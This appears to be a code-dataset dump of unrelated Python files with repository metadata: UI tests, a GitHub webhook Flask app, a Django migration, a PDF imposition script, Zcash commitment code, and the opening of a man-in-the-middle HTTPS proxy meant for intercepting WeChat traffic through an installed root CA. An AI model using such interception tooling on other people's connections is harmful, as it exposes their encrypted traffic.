mock.mock_open() with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( ANALYSIS_FILE_OPEN_PATH, mock_open, create=False ), mock.patch( RESULTS_ERROR_PATH ) as mock_error: mock_error.side_effect = mock_return_args mock_file_dialog.side_effect = mock_dialog(FileDialog, OK, "") self.review_task.analysis_model._export_enabled = True self.assertFalse(self.review_task.export_analysis_model_as()) self.assertTrue(mock_file_dialog.called) self.assertFalse(mock_open.called) mock_error.assert_called_with( None, ( "Cannot save in the requested file:\n\n" "AnalysisModel can only write to .json or .csv formats." ), "Error when saving the results table", ) mock_open = mock.mock_open() mock_open.side_effect = RuntimeError("OUPS") with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( ANALYSIS_FILE_OPEN_PATH, mock_open, create=False ), mock.patch( RESULTS_ERROR_PATH ) as mock_error: mock_file_dialog.side_effect = mock_dialog(FileDialog, OK, "f.csv") self.assertFalse(self.review_task.export_analysis_model_as()) self.assertTrue(mock_file_dialog.called) self.assertTrue(mock_open.called) mock_error.assert_called_with( None, "Cannot save the results table:\n\nOUPS", "Error when saving results", ) def test_save_project(self): mock_open = mock.mock_open() with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( RESULTS_JSON_DUMP_PATH ) as mock_json_dump, mock.patch( RESULTS_FILE_OPEN_PATH, mock_open, create=True ), mock.patch( RESULTS_WRITER_PATH ) as mock_wf_writer: mock_file_dialog.side_effect = mock_dialog( FileDialog, OK, "file_path" ) mock_wf_writer.side_effect = mock_file_writer self.review_task.save_project_as() self.assertTrue(mock_wf_writer.called) self.assertTrue(mock_open.called) self.assertTrue(mock_json_dump.called) self.assertTrue(mock_file_dialog.called) def test_save_project_failure(self): mock_open = mock.mock_open() mock_open.side_effect = IOError("OUPS") with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( RESULTS_FILE_OPEN_PATH, mock_open, create=True ), mock.patch( RESULTS_ERROR_PATH ) as mock_error: mock_file_dialog.side_effect = mock_dialog(FileDialog, OK) mock_error.side_effect = mock_return_args self.review_task.save_project_as() self.assertTrue(mock_open.called) mock_error.assert_called_with( None, "Cannot save in the requested file:\n\nOUPS", "Error when saving the project", ) def test_open_project(self): mock_open = mock.mock_open() with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( RESULTS_JSON_LOAD_PATH ) as mock_json, mock.patch( RESULTS_FILE_OPEN_PATH, mock_open, create=True ): mock_file_dialog.side_effect = mock_dialog(FileDialog, OK) mock_json.return_value = { "analysis_model": { "header": ["x", "y"], "1": {'data': [1, 2], 'metadata': {'a': 7}} }, "version": "1", "workflow": {}, } # the workflow gets updated to a new Workflow object old_workflow = self.review_task.workflow_model # but the analysis model gets updated in-place old_analysis = copy.deepcopy(self.review_task.analysis_model) self.assertEqual(old_workflow, self.setup_task.workflow_model) with mock.patch( "force_bdss.io.workflow_reader.WorkflowReader.read" ) as mock_read: mock_read.side_effect = return_workflow self.review_task.open_project() self.assertTrue(mock_open.called) self.assertTrue(mock_json.called) self.assertNotEqual(old_workflow, self.review_task.workflow_model) self.assertNotEqual( self.setup_task.workflow_model, self.review_task.workflow_model ) self.assertNotEqual(old_workflow, self.setup_task.workflow_model) self.assertNotEqual( old_workflow, self.setup_task.side_pane.workflow_tree.model ) self.assertNotEqual( old_analysis.header, self.review_task.analysis_model.header ) self.assertNotEqual( old_analysis.header, self.setup_task.analysis_model.header ) self.assertEqual( ("x", "y"), self.review_task.analysis_model.header ) self.assertEqual( [(1, 2)], self.review_task.analysis_model.evaluation_steps, ) self.assertEqual( [{'a': 7}], self.review_task.analysis_model.step_metadata ) self.assertEqual( self.setup_task.analysis_model.header, self.review_task.analysis_model.header, ) self.assertEqual( self.setup_task.analysis_model.evaluation_steps, self.review_task.analysis_model.evaluation_steps, ) def test_open_empty_analysis_model(self): mock_open = mock.mock_open() with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( RESULTS_JSON_LOAD_PATH ) as mock_json, mock.patch( RESULTS_FILE_OPEN_PATH, mock_open, create=True ): mock_file_dialog.side_effect = mock_dialog(FileDialog, OK) mock_json.return_value = {"version": "1", "workflow": {}} old_workflow = self.review_task.workflow_model with mock.patch( "force_bdss.io.workflow_reader.WorkflowReader.read" ) as mock_read: mock_read.side_effect = return_workflow self.review_task.open_project() self.assertTrue(mock_open.called) self.assertTrue(mock_json.called) self.assertIsNot(old_workflow, self.review_task.workflow_model) self.assertIsNot( self.setup_task.workflow_model, self.review_task.workflow_model ) self.assertEqual(tuple(), self.review_task.analysis_model.header) self.assertEqual( [], self.review_task.analysis_model.evaluation_steps ) def test_open_project_failure(self): mock_open = mock.mock_open() mock_open.side_effect = IOError("OUPS") with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch(RESULTS_ERROR_PATH) as mock_error: mock_file_dialog.side_effect = mock_dialog(FileDialog, OK) self.assertFalse(self.review_task.open_project()) error_msg = ( "Unable to load file:\n\n[Errno 2] " "No such file or directory: ''" ) mock_error.assert_called_with( None, error_msg, "Error when loading project" ) mock_open = mock.mock_open() error = ValueError("some wrong value") mock_open.side_effect = error with mock.patch( RESULTS_FILE_DIALOG_PATH ) as mock_file_dialog, mock.patch( RESULTS_ERROR_PATH ) as mock_error, mock.patch( RESULTS_FILE_OPEN_PATH, mock_open, create=True ): mock_file_dialog.side_effect = mock_dialog(FileDialog, OK) self.assertFalse(self.review_task.open_project()) error_msg = f"Unable to load project:\n\n{error}" mock_error.assert_called_with( None, error_msg, "Error when loading project" )

12,452

32

311

795b0560d2ca479481ca8ceaeb887fd7b5cba2be

9,784

py

Python

pastamaker/web.py

sileht/pastamaker

1fda2bfc0dcaa15cb1070cb8bb7c1c74fda424fc

[ "Apache-2.0" ]

37

2017-07-10T10:29:52.000Z

2019-05-09T01:50:41.000Z

pastamaker/web.py

sileht/pastamaker

1fda2bfc0dcaa15cb1070cb8bb7c1c74fda424fc

[ "Apache-2.0" ]

13

2017-06-13T08:01:30.000Z

2018-01-30T12:00:59.000Z

pastamaker/web.py

sileht/pastamaker

1fda2bfc0dcaa15cb1070cb8bb7c1c74fda424fc

[ "Apache-2.0" ]

4

2017-07-05T15:04:09.000Z

2017-12-16T20:05:46.000Z

# -*- encoding: utf-8 -*- # # Copyright © 2017 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # NOTE(sileht): usefull for gunicon, not really for uwsgi # import gevent # import gevent.monkey # gevent.monkey.patch_all() import hmac import logging import os import flask import github import lz4.block import requests import rq import rq_dashboard import ujson from pastamaker import config from pastamaker import utils from pastamaker import worker LOG = logging.getLogger(__name__) app = flask.Flask(__name__) app.config.from_object(rq_dashboard.default_settings) app.register_blueprint(rq_dashboard.blueprint, url_prefix="/rq") app.config["REDIS_URL"] = utils.get_redis_url() app.config["RQ_POLL_INTERVAL"] = 10000 # ms @app.route("/auth", methods=["GET"]) @app.route("/refresh/<owner>/<repo>/<path:refresh_ref>", methods=["POST"]) @app.route("/refresh", methods=["POST"]) @app.route("/queue/<owner>/<repo>/<path:branch>") @app.route("/status") @app.route('/status/stream') @app.route("/event", methods=["POST"]) @app.route("/") @app.route("/favicon.ico") @app.route("/fonts/<file>") @app.route("/login") @app.route("/logged/<installation_id>")

30.767296

78

0.601799

# -*- encoding: utf-8 -*- # # Copyright © 2017 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # NOTE(sileht): usefull for gunicon, not really for uwsgi # import gevent # import gevent.monkey # gevent.monkey.patch_all() import hmac import logging import os import flask import github import lz4.block import requests import rq import rq_dashboard import ujson from pastamaker import config from pastamaker import utils from pastamaker import worker LOG = logging.getLogger(__name__) app = flask.Flask(__name__) app.config.from_object(rq_dashboard.default_settings) app.register_blueprint(rq_dashboard.blueprint, url_prefix="/rq") app.config["REDIS_URL"] = utils.get_redis_url() app.config["RQ_POLL_INTERVAL"] = 10000 # ms def get_redis(): if not hasattr(flask.g, 'redis'): conn = utils.get_redis() flask.g.redis = conn return flask.g.redis def get_queue(): if not hasattr(flask.g, 'rq_queue'): flask.g.rq_queue = rq.Queue(connection=get_redis()) return flask.g.rq_queue @app.route("/auth", methods=["GET"]) def auth(): return "pastamaker don't need oauth setup" @app.route("/refresh/<owner>/<repo>/<path:refresh_ref>", methods=["POST"]) def refresh(owner, repo, refresh_ref): authentification() integration = github.GithubIntegration(config.INTEGRATION_ID, config.PRIVATE_KEY) installation_id = utils.get_installation_id(integration, owner) if not installation_id: flask.abort(404, "%s have not installed pastamaker" % owner) if refresh_ref == "full": token = integration.get_access_token(installation_id).token g = github.Github(token) r = g.get_repo("%s/%s" % (owner, repo)) pulls = r.get_pulls() branches = set([p.base.ref for p in pulls]) for branch in branches: # Mimic the github event format data = { 'repository': { 'name': repo, 'full_name': '%s/%s' % (owner, repo), 'owner': {'login': owner}, }, 'installation': {'id': installation_id}, "refresh_ref": "branch/%s" % branch, } get_queue().enqueue(worker.event_handler, "refresh", data) else: # Mimic the github event format data = { 'repository': { 'name': repo, 'full_name': '%s/%s' % (owner, repo), 'owner': {'login': owner}, }, 'installation': {'id': installation_id}, "refresh_ref": refresh_ref, } get_queue().enqueue(worker.event_handler, "refresh", data) return "", 202 @app.route("/refresh", methods=["POST"]) def refresh_all(): authentification() integration = github.GithubIntegration(config.INTEGRATION_ID, config.PRIVATE_KEY) counts = [0, 0, 0] for install in utils.get_installations(integration): counts[0] += 1 token = integration.get_access_token(install["id"]).token g = github.Github(token) i = g.get_installation(install["id"]) for repo in i.get_repos(): counts[1] += 1 pulls = repo.get_pulls() branches = set([p.base.ref for p in pulls]) # Mimic the github event format for branch in branches: counts[2] += 1 get_queue().enqueue(worker.event_handler, "refresh", { 'repository': repo.raw_data, 'installation': {'id': install['id']}, 'refresh_ref': "branch/%s" % branch, }) return ("Updated %s installations, %s repositories, " "%s branches" % tuple(counts)), 202 @app.route("/queue/<owner>/<repo>/<path:branch>") def queue(owner, repo, branch): return get_redis().get("queues~%s~%s~%s" % (owner, repo, branch)) or "[]" def _get_status(r): queues = [] for key in r.keys("queues~*~*~*"): _, owner, repo, branch = key.split("~") updated_at = None payload = r.get(key) if payload: try: pulls = ujson.loads(payload) except Exception: # Old format payload = lz4.block.decompress(payload) pulls = ujson.loads(payload) updated_at = list(sorted([p["updated_at"] for p in pulls]))[-1] queues.append({ "owner": owner, "repo": repo, "branch": branch, "pulls": pulls, "updated_at": updated_at, }) return ujson.dumps(queues) @app.route("/status") def status(): r = get_redis() return _get_status(r) def stream_message(_type, data): return 'event: %s\ndata: %s\n\n' % (_type, data) def stream_generate(): r = get_redis() yield stream_message("refresh", _get_status(r)) yield stream_message("rq-refresh", get_queue().count) pubsub = r.pubsub() pubsub.subscribe("update") pubsub.subscribe("rq-update") while True: # NOTE(sileht): heroku timeout is 55s, we have set gunicorn timeout to # 60s, this assume 5s is enough for http and redis round strip and use # 50s message = pubsub.get_message(timeout=50.0) if message is None: yield stream_message("ping", "{}") elif message["channel"] == "update": yield stream_message("refresh", _get_status(r)) yield stream_message("rq-refresh", get_queue().count) elif message["channel"] == "rq-update": yield stream_message("rq-refresh", get_queue().count) @app.route('/status/stream') def stream(): return flask.Response(flask.stream_with_context(stream_generate()), mimetype="text/event-stream") @app.route("/event", methods=["POST"]) def event_handler(): authentification() event_type = flask.request.headers.get("X-GitHub-Event") event_id = flask.request.headers.get("X-GitHub-Delivery") data = flask.request.get_json() if event_type in ["refresh", "pull_request", "status", "pull_request_review"]: get_queue().enqueue(worker.event_handler, event_type, data) get_redis().publish("rq-update", "noop") if "repository" in data: repo_name = data["repository"]["full_name"] else: repo_name = data["installation"]["account"]["login"] LOG.info('[%s/%s] received "%s" event "%s"', data["installation"]["id"], repo_name, event_type, event_id) return "", 202 @app.route("/") def index(): return app.send_static_file("index.html") @app.route("/favicon.ico") def favicon(): return app.send_static_file("favicon.ico") @app.route("/fonts/<file>") def fonts(file): # bootstrap fonts return flask.send_from_directory(os.path.join("static", "fonts"), file) def authentification(): # Only SHA1 is supported header_signature = flask.request.headers.get('X-Hub-Signature') if header_signature is None: LOG.warning("Webhook without signature") flask.abort(403) try: sha_name, signature = header_signature.split('=') except ValueError: sha_name = None if sha_name != 'sha1': LOG.warning("Webhook signature malformed") flask.abort(403) mac = utils.compute_hmac(flask.request.data) if not hmac.compare_digest(mac, str(signature)): LOG.warning("Webhook signature invalid") flask.abort(403) @app.route("/login") def login(): installation_id = flask.request.args.get('installation_id') params = { 'client_id': config.OAUTH_CLIENT_ID, 'redirect_uri': "%s/logged/%s" % (config.BASE_URL, installation_id), 'scope': 'repo', 'note': 'Mergify.io PR rebase/merge bot', 'note_url': config.BASE_URL } url = "https://github.com/login/oauth/authorize?" url = url + "&".join("=".join(i) for i in params.items()) return flask.redirect(url, code=302) @app.route("/logged/<installation_id>") def logged(installation_id): code = flask.request.args.get('code') r = requests.post("https://github.com/login/oauth/access_token", params=dict( client_id=config.OAUTH_CLIENT_ID, client_secret=config.OAUTH_CLIENT_SECRET, code=code, ), headers={'Accept': 'application/json'}) r.raise_for_status() token = r.json().get('access_token') if not token: return flask.abort(400, 'Invalid callback code') r = requests.get( "https://api.github.com/user/installations/%s/repositories" % installation_id, headers={"Accept": "application/vnd.github.machine-man-preview+json", "Authorization": "token %s" % token}) if r.status_code == 403: return flask.abort( 400, "You don't have the write access on " "repositories of this %s installation" % config.CONTEXT) r.raise_for_status() get_redis().set("installation-token-%s" % installation_id, token) return "Registration OK"

7,672

0

402

3d17e01cc03fb6bd6696eb4b21af15c825c85509

426

py

Python

watchlist_app/migrations/0003_alter_streamingplatform_about.py

ivanlegranbizarro/movieList

eeaa875698da608d8cc009341dd31ee8a26169e9

[ "MIT" ]

null

watchlist_app/migrations/0003_alter_streamingplatform_about.py

ivanlegranbizarro/movieList

eeaa875698da608d8cc009341dd31ee8a26169e9

[ "MIT" ]

null

watchlist_app/migrations/0003_alter_streamingplatform_about.py

ivanlegranbizarro/movieList

eeaa875698da608d8cc009341dd31ee8a26169e9

[ "MIT" ]

null

# Generated by Django 3.2.6 on 2021-08-26 06:57 from django.db import migrations, models

22.421053

74

0.622066

# Generated by Django 3.2.6 on 2021-08-26 06:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('watchlist_app', '0002_auto_20210826_0852'), ] operations = [ migrations.AlterField( model_name='streamingplatform', name='about', field=models.CharField(blank=True, max_length=150, null=True), ), ]

0

312

23

70f9fa062d8723acc19d16f3f162787ad7e36d88

1,465

py

Python

src/spaceone/inventory/info/network_info.py

choonho/inventory

cc89757490d28fecb7ffccdfd6f89d4c0aa40da5

[ "Apache-2.0" ]

null

src/spaceone/inventory/info/network_info.py

choonho/inventory

cc89757490d28fecb7ffccdfd6f89d4c0aa40da5

[ "Apache-2.0" ]

null

src/spaceone/inventory/info/network_info.py

choonho/inventory

cc89757490d28fecb7ffccdfd6f89d4c0aa40da5

[ "Apache-2.0" ]

null

import functools from spaceone.api.inventory.v1 import network_pb2 from spaceone.core.pygrpc.message_type import * from spaceone.inventory.model.network_model import Network from spaceone.inventory.info.zone_info import ZoneInfo from spaceone.inventory.info.region_info import RegionInfo __all__ = ['NetworkInfo', 'NetworksInfo']

38.552632

134

0.709898

import functools from spaceone.api.inventory.v1 import network_pb2 from spaceone.core.pygrpc.message_type import * from spaceone.inventory.model.network_model import Network from spaceone.inventory.info.zone_info import ZoneInfo from spaceone.inventory.info.region_info import RegionInfo __all__ = ['NetworkInfo', 'NetworksInfo'] def NetworkInfo(network_vo: Network, minimal=False): info = { 'network_id': network_vo.network_id, 'name': network_vo.name, 'reference': network_pb2.NetworkReference( **network_vo.reference.to_dict()) if network_vo.reference else None } if not minimal: info.update({ 'cidr': network_vo.cidr, 'zone_info': ZoneInfo(network_vo.zone, minimal=True), 'region_info': RegionInfo(network_vo.region, minimal=True), 'created_at': change_timestamp_type(network_vo.created_at), 'data': change_struct_type(network_vo.data), 'metadata': change_struct_type(network_vo.metadata), 'tags': change_struct_type(network_vo.tags), 'collection_info': change_struct_type(network_vo.collection_info.to_dict()), 'domain_id': network_vo.domain_id }) return network_pb2.NetworkInfo(**info) def NetworksInfo(network_vos, total_count, **kwargs): return network_pb2.NetworksInfo(results=list(map(functools.partial(NetworkInfo, **kwargs), network_vos)), total_count=total_count)

1,085

0

46

1e2c56644b6e59790a6b681324aa7dd41fa8f75d

5,210

py

Python

imposer.py

kevinjelnl/yapdfi

cb88e025cda7b79f4fd9f719f07d0b4ef20787ae

[ "MIT" ]

null

imposer.py

kevinjelnl/yapdfi

cb88e025cda7b79f4fd9f719f07d0b4ef20787ae

[ "MIT" ]

3

2021-09-08T02:23:46.000Z

2022-03-12T00:43:59.000Z

imposer.py

kevinjelnl/yapdfi

cb88e025cda7b79f4fd9f719f07d0b4ef20787ae

[ "MIT" ]

null

import sys import logging import math from pathlib import Path from pydantic import BaseModel from typing import * import PyPDF2 from reportlab.lib.units import mm, inch logging.basicConfig(format='%(asctime)s,%(msecs)d | %(levelname)-8s | %(filename)s:%(funcName)s:%(lineno)d - %(message)s', datefmt='%Y-%m-%d:%H:%M:%S', level=logging.DEBUG) log = logging.getLogger(__name__) pt2mm = 0.3527777778 if __name__ == "__main__": main() pass

32.767296

122

0.59405

import sys import logging import math from pathlib import Path from pydantic import BaseModel from typing import * import PyPDF2 from reportlab.lib.units import mm, inch logging.basicConfig(format='%(asctime)s,%(msecs)d | %(levelname)-8s | %(filename)s:%(funcName)s:%(lineno)d - %(message)s', datefmt='%Y-%m-%d:%H:%M:%S', level=logging.DEBUG) log = logging.getLogger(__name__) pt2mm = 0.3527777778 class Imposition(BaseModel): substrate_width: float substrate_height: float impose_width: Optional[float] impose_height: Optional[float] gutter: Optional[int] = 5 pages: Optional[int] = 2 up: Optional[int] orientation: Optional[str] = "landscape" amount_x: Optional[int] amount_y: Optional[int] def set_orientation(self): sub_size = [self.substrate_height, self.substrate_width] if self.orientation == "landscape": # on landscape width should be larger then height if not self.substrate_width < self.substrate_height: sub_size[0] = self.substrate_width sub_size[1] = self.substrate_height else: # if orientation == portrait if self.substrate_height < self.substrate_width: sub_size[0] = self.substrate_width sub_size[1] = self.substrate_height self.substrate_width = sub_size[0] self.substrate_height = sub_size[1] return def upcalc(self, PDFw, PDFh): # add gutter to pdf pdf_gut_w = PDFw + self.gutter pdf_gut_h = PDFh + self.gutter # copied from our upcalc-api subw = self.substrate_width subh = self.substrate_height # landscape imposition landscape_w = math.floor(subw / pdf_gut_w) landscape_h = math.floor(subh / pdf_gut_h) landscape_up = math.floor(landscape_w * landscape_h) # calculate the portrait impose portrait_w = math.floor(subw / pdf_gut_h) portrait_h = math.floor(subh / pdf_gut_w) portrait_up = math.floor(portrait_w * portrait_h) if landscape_up > portrait_up: self.orientation = "landscape" self.amount_x = landscape_w self.amount_y = landscape_h self.up = landscape_up else: self.orientation = "portrait" self.amount_x = portrait_w self.amount_y = portrait_h self.up = portrait_up # calc the impose w & height self.impose_width = self.amount_x * pdf_gut_w self.impose_height = self.amount_y * pdf_gut_h # reset the orientation self.set_orientation() return def impose(self, pdfobj): pdf_writer = PyPDF2.PdfFileWriter() row_height = (pdfobj.trim_height+self.gutter)*mm # 55mm single_width = (pdfobj.trim_width+self.gutter)*mm # 85mm with open("./outfile.pdf", "wb") as pdf_to_write: for page in range(0, self.pages): # get the current pdf page cur_page = pdfobj.pdf_reader.getPage(page) # make the imposition sheet impsheet = PyPDF2.pdf.PageObject.createBlankPage( None, self.impose_width*mm, self.impose_height*mm) for y in range(0, self.amount_y): cur_height = row_height*y for x in range(0, self.amount_x): impsheet.mergeTranslatedPage( cur_page, single_width*x, cur_height) pdf_writer.addPage(impsheet) pdf_writer.write(pdf_to_write) return class PDF(BaseModel): location: Path trim_width: Optional[float] trim_height: Optional[float] pages: Optional[int] = 2 pdf_handle: Optional[Any] pdf_reader: Optional[Any] def __init__(self, **data: Any): super().__init__(**data) self.read_pdf() return def read_pdf(self): self.pdf_handle = open(f"{self.location}", "rb") self.pdf_reader = PyPDF2.PdfFileReader(self.pdf_handle) self.pages = self.pdf_reader.getNumPages() # note: this pulls only trimbox info from the first page trim_width = self.pdf_reader.getPage(0).trimBox.getWidth() trim_height = self.pdf_reader.getPage(0).trimBox.getHeight() # cleanup the format self.trim_width = round(float(trim_width) * pt2mm + 0.001, 2) self.trim_height = round(float(trim_height) * pt2mm + 0.001, 2) return def __del__(self): self.pdf_handle.close() return def main(): pdf = Path(sys.argv[1]) log.debug(f"given pdf: {pdf}") pdfobj = PDF(location=pdf) impdata = { "substrate_width": 460, "substrate_height": 320, "pages": pdfobj.pages } imp = Imposition(**impdata) imp.upcalc(PDFw=pdfobj.trim_width, PDFh=pdfobj.trim_height) imp.impose(pdfobj) del(pdfobj) pass if __name__ == "__main__": main() pass

3,861

787

69

c4760810a6b30136c57c8727033cf01063f4f5da

2,439

py

Python

zcash_test_vectors/orchard/commitments.py

jarys/zcash-test-vectors

0cbb8200b092867606835d641cf65c606d987fd7

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

null

zcash_test_vectors/orchard/commitments.py

jarys/zcash-test-vectors

0cbb8200b092867606835d641cf65c606d987fd7

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

null

zcash_test_vectors/orchard/commitments.py

jarys/zcash-test-vectors

0cbb8200b092867606835d641cf65c606d987fd7

[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]

null

#!/usr/bin/env python3 import sys; assert sys.version_info[0] >= 3, "Python 3 required." from .group_hash import group_hash from .pallas import Fp, Scalar from .sinsemilla import sinsemilla_hash_to_point from ..utils import i2lebsp # Commitment schemes used in Orchard https://zips.z.cash/protocol/nu5.pdf#concretecommit # https://zips.z.cash/protocol/nu5.pdf#constants L_ORCHARD_BASE = 255 # https://zips.z.cash/protocol/nu5.pdf#concretehomomorphiccommit # https://zips.z.cash/protocol/nu5.pdf#concretesinsemillacommit # https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit # https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit # Test consistency of ValueCommit^{Orchard} with precomputed generators if __name__ == '__main__': test_value_commit()

31.675325

107

0.707257

#!/usr/bin/env python3 import sys; assert sys.version_info[0] >= 3, "Python 3 required." from .group_hash import group_hash from .pallas import Fp, Scalar from .sinsemilla import sinsemilla_hash_to_point from ..utils import i2lebsp # Commitment schemes used in Orchard https://zips.z.cash/protocol/nu5.pdf#concretecommit # https://zips.z.cash/protocol/nu5.pdf#constants L_ORCHARD_BASE = 255 # https://zips.z.cash/protocol/nu5.pdf#concretehomomorphiccommit def homomorphic_pedersen_commitment(rcv: Scalar, D, v: Scalar): return group_hash(D, b"v") * v + group_hash(D, b"r") * rcv def value_commit(rcv: Scalar, v: Scalar): return homomorphic_pedersen_commitment(rcv, b"z.cash:Orchard-cv", v) def rcv_trapdoor(rand): return Scalar.random(rand) # https://zips.z.cash/protocol/nu5.pdf#concretesinsemillacommit def sinsemilla_commit(r: Scalar, D, M): assert isinstance(r, Scalar) return sinsemilla_hash_to_point(D + b"-M", M) + ( group_hash(D + b"-r", b"") * r ) def sinsemilla_short_commit(r: Scalar, D, M): return sinsemilla_commit(r, D, M).extract() # https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit def note_commit(rcm, g_d, pk_d, v, rho, psi): return sinsemilla_commit( rcm, b"z.cash:Orchard-NoteCommit", g_d + pk_d + i2lebsp(64, v) + i2lebsp(L_ORCHARD_BASE, rho.s) + i2lebsp(L_ORCHARD_BASE, psi.s) ) def rcm_trapdoor(rand): return Scalar.random(rand) # https://zips.z.cash/protocol/nu5.pdf#concreteorchardnotecommit def commit_ivk(rivk: Scalar, ak: Fp, nk: Fp): return sinsemilla_short_commit( rivk, b"z.cash:Orchard-CommitIvk", i2lebsp(L_ORCHARD_BASE, ak.s) + i2lebsp(L_ORCHARD_BASE, nk.s) ) def rivk_trapdoor(rand): return Scalar.random(rand) # Test consistency of ValueCommit^{Orchard} with precomputed generators def test_value_commit(): from random import Random from ..rand import Rand from .generators import VALUE_COMMITMENT_RANDOMNESS_BASE, VALUE_COMMITMENT_VALUE_BASE rng = Random(0xabad533d) def randbytes(l): ret = [] while len(ret) < l: ret.append(rng.randrange(0, 256)) return bytes(ret) rand = Rand(randbytes) rcv = rcv_trapdoor(rand) v = Scalar(100000000) assert value_commit(rcv, v) == VALUE_COMMITMENT_RANDOMNESS_BASE * rcv + VALUE_COMMITMENT_VALUE_BASE * v if __name__ == '__main__': test_value_commit()

1,432

0

225

f14389d4d441d9fa654bdded6abebd61ad14e193

18,618

py

Python

wechatarticles/proxy.py

hjyjh/wechat_articles_spider

38da6cde565f8d6e09a5822b25b0dcfb1a8cb239

[ "Apache-2.0" ]

1,603

2018-03-05T03:01:28.000Z

2022-03-31T05:30:51.000Z

wechatarticles/proxy.py

hjyjh/wechat_articles_spider

38da6cde565f8d6e09a5822b25b0dcfb1a8cb239

[ "Apache-2.0" ]

42

2018-03-09T03:06:57.000Z

2021-12-31T02:30:13.000Z

wechatarticles/proxy.py

hjyjh/wechat_articles_spider

38da6cde565f8d6e09a5822b25b0dcfb1a8cb239

[ "Apache-2.0" ]

491

2018-03-05T03:22:31.000Z

2022-03-30T10:10:59.000Z

# coding:utf-8 import logging import os import select import zlib import chardet import time from http.client import HTTPResponse from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn from urllib.parse import urlparse, ParseResult, urlunparse from tempfile import gettempdir from ssl import wrap_socket, SSLError from socket import socket from OpenSSL.crypto import ( load_certificate, FILETYPE_PEM, TYPE_RSA, PKey, X509, X509Extension, dump_privatekey, dump_certificate, load_privatekey, X509Req, ) """ 该文件并未项目核心功能，仅作辅助脚本使用感谢baseproxy项目。原项目地址https://github.com/qiyeboy/BaseProxy，具体详细操作方法请见原项目，步骤简述如下 1. 设置代理，开启服务 2. 下载证书http://baseproxy.ca/，并安装至本机(受信任的根证书颁发机构) 3. 配置完成，每次使用之前开启系统代理即可为方便使用，在代码上进行了一定的修改，大部分内容来源于，https://github.com/qiyeboy/BaseProxy/blob/master/baseproxy/proxy.py 1. 修改部分函数名，变量名，函数，尽量保持与mitmproxy一致 2. 由于项目主要目的是拦截，并非篡改，增加了对链接过滤功能。若链接不包含相关字符，则不做操作，直接返回。ProxyHandle中的`self.filter_url_lst` 二次引用，若有冒犯原作者之处，敬请指出，将删除该文件。 """ __all__ = [ "CAAuth", "ProxyHandle", "ReqIntercept", "RspIntercept", "MitmProxy", "AsyncMitmProxy", "Request", "Response", ] logging.basicConfig( level=logging.INFO, format="[%(asctime)s] %(levelname)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) class CAAuth(object): """ 用于CA证书的生成以及代理证书的自签名 """ @property

29

95

0.570738

# coding:utf-8 import logging import os import select import zlib import chardet import time from http.client import HTTPResponse from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn from urllib.parse import urlparse, ParseResult, urlunparse from tempfile import gettempdir from ssl import wrap_socket, SSLError from socket import socket from OpenSSL.crypto import ( load_certificate, FILETYPE_PEM, TYPE_RSA, PKey, X509, X509Extension, dump_privatekey, dump_certificate, load_privatekey, X509Req, ) """ 该文件并未项目核心功能，仅作辅助脚本使用感谢baseproxy项目。原项目地址https://github.com/qiyeboy/BaseProxy，具体详细操作方法请见原项目，步骤简述如下 1. 设置代理，开启服务 2. 下载证书http://baseproxy.ca/，并安装至本机(受信任的根证书颁发机构) 3. 配置完成，每次使用之前开启系统代理即可为方便使用，在代码上进行了一定的修改，大部分内容来源于，https://github.com/qiyeboy/BaseProxy/blob/master/baseproxy/proxy.py 1. 修改部分函数名，变量名，函数，尽量保持与mitmproxy一致 2. 由于项目主要目的是拦截，并非篡改，增加了对链接过滤功能。若链接不包含相关字符，则不做操作，直接返回。ProxyHandle中的`self.filter_url_lst` 二次引用，若有冒犯原作者之处，敬请指出，将删除该文件。 """ __all__ = [ "CAAuth", "ProxyHandle", "ReqIntercept", "RspIntercept", "MitmProxy", "AsyncMitmProxy", "Request", "Response", ] logging.basicConfig( level=logging.INFO, format="[%(asctime)s] %(levelname)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) class HttpTransfer(object): version_dict = {9: "HTTP/0.9", 10: "HTTP/1.0", 11: "HTTP/1.1"} def __init__(self): self.hostname = None self.port = None self.url = "" # 无协议头 # 这是请求 self.command = None self.path = None self.request_version = None # 这是响应 self.response_version = None self.status = None self.reason = None self._headers = None self._body = b"" def parse_headers(self, headers_str): """ 暂时用不到 :param headers: :return: """ header_list = headers_str.rstrip("\r\n").split("\r\n") headers = {} for header in header_list: [key, value] = header.split(": ") headers[key.lower()] = value return headers def to_data(self): raise NotImplementedError("function to_data need override") def set_headers(self, headers): headers_tmp = {} for k, v in headers.items(): headers_tmp[k.lower()] = v self._headers = headers_tmp def build_headers(self): """ 返回headers字符串 :return: """ header_str = "" for k, v in self._headers.items(): header_str += k + 